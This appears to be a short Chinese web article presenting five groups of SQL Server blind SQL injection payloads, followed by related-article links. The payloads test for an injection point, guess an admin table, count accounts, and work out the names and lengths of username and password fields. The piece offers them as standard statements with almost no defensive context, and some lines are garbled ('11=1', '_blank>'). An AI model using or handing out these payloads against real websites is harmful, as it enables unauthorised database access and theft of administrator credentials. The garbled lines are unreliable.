SQL注入语句五例

数据库 SQL Server
SQL注入语句是SQL语言中非常重要的部分,下面为您介绍的是SQL注入语句的5个例子,供您参考,如果您感兴趣的话,不妨一看。

SQL注入语句是学习SQL语句过程中需要掌握的知识,下面就为您介绍5个标准的SQL注入语句,希望对您了解SQL注入语句有所帮助。

1.判断有无注入点

  1. ; and 11=1 and 1=2 

 

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

  1. and 0<>(select count(*) from *)  
  2. and 0<>(select count(*) from admin) ---判断是否存在admin这张表 

 

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

  1. and 0<(select count(*) from admin)  
  2. and 1<(select count(*) from admin) 

 

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

  1. and 1=(select count(*) from admin where len(*)>0)--  
  2. and 1=(select count(*) from admin where len(用户字段名称name)>0)   
  3. and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

 

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

  1. and 1=(select count(*) from admin where len(*)>0)   
  2. and 1=(select count(*) from admin where len(name)>6) 错误  
  3. and 1=(select count(*) from admin where len(name)>5) 正确 长度是6  
  4. and 1=(select count(*) from admin where len(name)=6) 正确  
  5.  
  6. and 1=(select count(*) from admin where len(password)>11) 正确  
  7. and 1=(select count(*) from admin where len(password)>12) 错误 长度是12  
  8. and 1=(select count(*) from admin where len(password)=12) 正确 

延伸阅读

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

 

【编辑推荐】

SQL SERVER事务的语法介绍

Sql Server视图的概念

使用SQL查询连续号码段的方法

实现子孙树查询的经典SQL语句

查询表的字段名的sql语句写法

责任编辑:段燃 来源: 互联网
相关推荐

2012-04-12 15:06:44

2011-03-31 11:03:15

2010-12-20 16:04:30

2011-04-18 14:12:44

2017-08-10 10:23:59

2010-04-13 14:35:17

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

2020-09-28 09:30:13

mybatis

2011-10-19 10:47:56

2020-12-16 13:22:37

Web安全SQL工具

2009-09-07 16:25:14

Linq To SQL

2023-03-30 09:10:06

SQLSELECTFROM

2010-09-03 14:39:15

SQLSELECT语句

2010-09-03 15:47:40

SQL语句锁定

2020-08-07 08:13:08

SQL攻击模式

2009-11-02 13:47:09

2009-02-04 16:51:48

2019-02-22 09:00:00

2009-07-24 16:59:57

iBatis模糊查询
点赞
收藏

51CTO技术栈公众号